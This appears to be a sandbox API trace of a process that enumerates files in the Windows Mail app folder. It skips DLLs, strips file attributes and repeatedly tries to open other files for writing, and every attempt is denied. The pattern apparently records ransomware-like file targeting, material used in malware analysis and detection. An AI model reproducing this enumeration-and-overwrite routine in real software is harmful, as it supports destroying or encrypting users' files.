	[0090.235] wcscpy (in: _Dest=0x50275b8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb"
	[0090.235] wcscat (in: _Dest=0x50275b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\"
	[0090.235] wcscat (in: _Dest=0x50275b8, _Source="outlook_whatsnew.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml"
	[0090.235] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml")) returned 0x20
	[0090.238] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml", dwFileAttributes=0x20) returned 0
	[0090.238] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.238] GetLastError () returned 0x5
	[0090.238] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\outlook_whatsnew.xml", dwFileAttributes=0x20) returned 0
	[0090.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50275b8) returned 1
	[0090.238] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1878c719, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x187b296e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x187b296e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x410c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wintlim.dll", cAlternateFileName="")) returned 1
	[0090.238] wcscmp (_String1="wintlim.dll", _String2=".") returned 1
	[0090.238] wcscmp (_String1="wintlim.dll", _String2="..") returned 1
	[0090.238] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187b296e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x187f4c6b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x187f4c6b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x33ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1
	[0090.238] wcscmp (_String1="xlsrvintl.dll", _String2=".") returned 1
	[0090.238] wcscmp (_String1="xlsrvintl.dll", _String2="..") returned 1
	[0090.238] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187b296e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x187f4c6b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x187f4c6b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x33ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0
	[0090.238] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f530) returned 1
	[0090.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e110) returned 1
	[0090.239] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x187f4c6b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e11b3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189221ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1
	[0090.239] wcscmp (_String1="en-us", _String2=".") returned 1
	[0090.239] wcscmp (_String1="en-us", _String2="..") returned 1
	[0090.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0090.239] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.239] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.239] wcscat (in: _Dest=0x477eb90, _Source="en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477ef10
	[0090.239] wcscpy (in: _Dest=0x477ef10, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.239] wcscat (in: _Dest=0x477ef10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\"
	[0090.239] wcscat (in: _Dest=0x477ef10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\*"
	[0090.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c6e0
	[0090.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\*", lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x187f4c6b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e11b3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189221ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.243] wcscmp (_String1=".", _String2=".") returned 0
	[0090.243] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x187f4c6b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e11b3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189221ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.243] wcscmp (_String1="..", _String2=".") returned 1
	[0090.243] wcscmp (_String1="..", _String2="..") returned 0
	[0090.243] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187f4c6b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1881711c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1881711c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1
	[0090.243] wcscmp (_String1="CT_ROOTS.XML", _String2=".") returned 1
	[0090.243] wcscmp (_String1="CT_ROOTS.XML", _String2="..") returned 1
	[0090.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491c9a8
	[0090.243] wcscpy (in: _Dest=0x491c9a8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.243] wcscat (in: _Dest=0x491c9a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\"
	[0090.243] wcscat (in: _Dest=0x491c9a8, _Source="CT_ROOTS.XML" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML"
	[0090.243] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\ct_roots.xml")) returned 0x20
	[0090.245] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML", dwFileAttributes=0x20) returned 0
	[0090.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\ct_roots.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.246] GetLastError () returned 0x5
	[0090.246] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\CT_ROOTS.XML", dwFileAttributes=0x20) returned 0
	[0090.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c9a8) returned 1
	[0090.246] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1881711c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1881711c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1881711c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxcommintl.dll", cAlternateFileName="")) returned 1
	[0090.246] wcscmp (_String1="hxcommintl.dll", _String2=".") returned 1
	[0090.246] wcscmp (_String1="hxcommintl.dll", _String2="..") returned 1
	[0090.246] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d3a0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1883d3a0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1883d3a0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc030, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxoutlookintl.dll", cAlternateFileName="")) returned 1
	[0090.246] wcscmp (_String1="hxoutlookintl.dll", _String2=".") returned 1
	[0090.246] wcscmp (_String1="hxoutlookintl.dll", _String2="..") returned 1
	[0090.246] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d3a0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x188635fe, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x188635fe, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso.acl", cAlternateFileName="")) returned 1
	[0090.246] wcscmp (_String1="mso.acl", _String2=".") returned 1
	[0090.246] wcscmp (_String1="mso.acl", _String2="..") returned 1
	[0090.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d8f8
	[0090.246] wcscpy (in: _Dest=0x491d8f8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.246] wcscat (in: _Dest=0x491d8f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\"
	[0090.246] wcscat (in: _Dest=0x491d8f8, _Source="mso.acl" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl"
	[0090.246] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl")) returned 0x20
	[0090.248] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl", dwFileAttributes=0x20) returned 0
	[0090.249] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.249] GetLastError () returned 0x5
	[0090.249] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\mso.acl", dwFileAttributes=0x20) returned 0
	[0090.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d8f8) returned 1
	[0090.249] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188635fe, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18889857, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18889857, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x120c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30_winrt.dll", cAlternateFileName="")) returned 1
	[0090.249] wcscmp (_String1="msointl30_winrt.dll", _String2=".") returned 1
	[0090.249] wcscmp (_String1="msointl30_winrt.dll", _String2="..") returned 1
	[0090.249] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18889857, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x188d5d0e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x188d5d0e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x474c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointlimm.dll", cAlternateFileName="")) returned 1
	[0090.249] wcscmp (_String1="msointlimm.dll", _String2=".") returned 1
	[0090.249] wcscmp (_String1="msointlimm.dll", _String2="..") returned 1
	[0090.249] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188d5d0e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x188fbf6c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x188fbf6c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x93c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="officons.ttf", cAlternateFileName="")) returned 1
	[0090.249] wcscmp (_String1="officons.ttf", _String2=".") returned 1
	[0090.249] wcscmp (_String1="officons.ttf", _String2="..") returned 1
	[0090.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b268
	[0090.249] wcscpy (in: _Dest=0x491b268, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.249] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\"
	[0090.249] wcscat (in: _Dest=0x491b268, _Source="officons.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf"
	[0090.249] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf")) returned 0x20
	[0090.249] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf", dwFileAttributes=0x20) returned 0
	[0090.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.250] GetLastError () returned 0x5
	[0090.250] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\officons.ttf", dwFileAttributes=0x20) returned 0
	[0090.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0090.250] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188fbf6c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x188fbf6c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x188fbf6c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook_whatsnew.xml", cAlternateFileName="")) returned 1
	[0090.250] wcscmp (_String1="outlook_whatsnew.xml", _String2=".") returned 1
	[0090.250] wcscmp (_String1="outlook_whatsnew.xml", _String2="..") returned 1
	[0090.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026850
	[0090.250] wcscpy (in: _Dest=0x5026850, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us"
	[0090.250] wcscat (in: _Dest=0x5026850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\"
	[0090.250] wcscat (in: _Dest=0x5026850, _Source="outlook_whatsnew.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml"
	[0090.250] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml")) returned 0x20
	[0090.250] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml", dwFileAttributes=0x20) returned 0
	[0090.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.250] GetLastError () returned 0x5
	[0090.250] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-us\\outlook_whatsnew.xml", dwFileAttributes=0x20) returned 0
	[0090.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026850) returned 1
	[0090.250] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188fbf6c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x189221ca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x189221ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x40cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wintlim.dll", cAlternateFileName="")) returned 1
	[0090.251] wcscmp (_String1="wintlim.dll", _String2=".") returned 1
	[0090.251] wcscmp (_String1="wintlim.dll", _String2="..") returned 1
	[0090.251] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189221ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1894841e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1894841e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x338c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1
	[0090.251] wcscmp (_String1="xlsrvintl.dll", _String2=".") returned 1
	[0090.251] wcscmp (_String1="xlsrvintl.dll", _String2="..") returned 1
